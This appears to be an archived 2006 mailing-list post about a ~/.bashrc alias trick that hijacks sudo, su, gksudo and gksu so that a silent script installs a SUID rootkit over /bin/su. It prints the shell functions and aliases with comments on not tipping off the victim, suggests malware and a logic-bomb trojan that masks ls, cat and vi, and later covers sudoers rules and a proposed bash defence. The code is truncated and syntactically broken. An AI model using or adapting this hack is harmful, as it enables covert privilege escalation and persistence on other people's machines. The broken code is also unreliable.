AOH :: HP Unsorted S :: B06-1180.HTM

Sudo tricks
Sudo tricks
Sudo tricks

Hash: SHA1

This is kind of dumb, just a quick response to some of the stuff I've
been seeing floating around the past few days WRT sudo.  I was toying
with the idea of equivalating access to the account to access to root.

Here is a simple hack to break sudo and su to get free root. Add this to
~/.bashrc and fill in the following blanks:

 * ~/.root_kit/rk_su
  Your hacked su to give root on su --now-dammit
 * ~/.root_kit/silent_install_root_kit
  Your script to silently install rk_su over /bin/su and add SUID to it.

# Install our secret /etc/su rootkit, gives root if --now-dammit is
# passed
install_root_kit() {
 mdsu=`md5sum /bin/su | cut -f 1 -d ' '`
 mdrk=`md5sum ~/.root_kit/rk_su | cut -f 1 -d ' '`
 # Do it normally if root kit is installed
 if [ "${mdsu}" = "${mdrk}" ]; then
  ${1} $2-
  ln -s silent_install_root_kit ~/.root_kit/${2}
  ${1} ~/.root_kit/${2}
  rm ~/.root_kit/${2}
  # gksudo only shows once, don't tip him off
  if [ "${1}" != "gksudo" ]; then
   ${1} $2-
install_root_kit_su() {
 mdsu=`md5sum /bin/su | cut -f 1 -d ' '`
 mdrk=`md5sum ~/.root_kit/rk_su | cut -f 1 -d ' '`
 # Do it normally if root kit is installed
 if [ "${mdsu}" = "${mdrk}" ]; then
  ${1} ${2} $3-
  ln -s silent_install_root_kit ~/.root_kit/${3}
  ${1} ${2} ~/.root_kit/${3}
  rm ~/.root_kit/${3}
  # gksu only shows once, don't tip him off
  if [ "${1}! != "gksu" ]; then
   ${1} ${2} $3-
alias sudo='install_root_kit sudo'
alias gksudo='install_root_kit gksudo'
alias su='install_root_kit_su su'
alias gksu='install_root_kit_su gksu'

Log out, reboot, whatever, and you're now loaded. Write some kind of
malware that also loads in ~/.bashrc and lurks in the background, tries
to get root with 'su --now-dammit'. It'll work after the first 'su' or
'sudo' happens. Looks just like a failed 'su' or 'sudo' when done right.

I was toying with the idea of more restricted sudo on Ubuntu Linux when
I thought this up.  In theory it works; qemu has a script that uses sudo
(ifup-qemu IIRC), this should be no different.

My thinking on this is that 'su' and 'sudo' only want to accept keys
from stdin=terminal and not stdin=pipe.  Assuming an attacker can't read
the terminal (he probably can), 'su' to non-root isn't going to be much
use, except that the attacker can cross-infect that account.

My thinking was that a junior admin in the jradmin group could access
basic administrative tasks, mainly all of the gnome *-admin programs
aside from users-admin.

Cmnd_Alias      GNOME_ADMIN = /usr/bin/network-admin, \
                        /usr/bin/disks-admin, \
                        /usr/bin/services-admin, \
                        /usr/bin/gnome-software-properties, \
                        /usr/bin/time-admin, /usr/bin/shares-admin

Cmnd_Alias      UPDATE = /usr/bin/update-manager


With apt and synaptic changes, the jradmin could also fully administrate
packages only from trusted, signed repositories (to avoid rootkit
installation).  Altering users-admin to not allow users to change admin
accounts or the admin group members would allow user administration
without privilege escallation of the jradmin's account.  This prevents
all elevation of privileges out of the sudo context; but requires a
Cmnd_Translate directive in sudo as shown below.

Cmnd_Translate	JRAPT = apt-get : apt-get --jradmin, \
			synaptic : synaptic --jradmin
Cmnd_Translate	JRUSERS = users-admin : users-admin --jradmin


Realisticly this allows for most of anything you'd do-- network
configuration, disk configuration, services configuration, time and date
changes, samba sharing, update and install packages, manage users.  If a
second administrator account was created in the admin group, it would
have full access; of course, you would need root shell or admin access
to do this:


And yes I've tried without JRAPT and JRUSERS (which require software
level changes), getting around it is pretty infeasible.

But my little ~/.bashrc hack above still stands.  If you 'su admin',
where 'admin' is an administrative account in the 'admin' group, the
script can transfer the infection to 'admin'.  When 'admin' uses sudo or
su, the infection will install a rootkit over /bin/su.  A little finer
grained, but not air tight.

The main threat here is that it's so transparent.  A trojan could use a
logic bomb to keep its number of runs in a setting in its ~/.dir so that
a suspicious administrator would not find any changes the first run.
After several runs it could see runs>5 and inject its code into .bashrc.
 Believe me guys, you are not that paranoid; you will not look every
time.  Really complex rootkits could mask ls, cat, and vi to shift
.bashrc back and forth so it always looks consistent; whenever you look,
you see that it's normal.  No odd files.  With these as aliases, 'which
ls' shows /bin/ls etc too.

These are all, of course, .bashrc hacks that don't require root access.
 They affect one account and can be detected by looking in from another
account.  To elevate privileges, however, they need to catch such access
to a setuid binary and do something with it; su, sudo, and friends are
the best targets here.

My conclusion is that the only real way to protect against this is for
bash to look for every binary in your path when you don't specify a
path; and check to see if any of those binaries is SUID.  If even one
is, it should FLAT OUT IGNORE any aliases or non-SUID matches (to avoid
PATH=$HOME attacks).  What do you all think?

- --
All content of all messages exchanged herein are left in the
Public Domain, unless otherwise explicitly stated.

    Creative brains are a valuable, limited resource. They shouldn't be
    wasted on re-inventing the wheel when there are so many fascinating
    new problems waiting out there.
                                                 -- Eric Steven Raymond

    We will enslave their women, eat their children and rape their
                                     -- Evil alien overlord from Blasto
Version: GnuPG v1.4.2.2 (GNU/Linux)
Comment: Using GnuPG with Mozilla - 


The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2015 AOH
We do not send spam. If you have received spam bearing an email address, please forward it with full headers to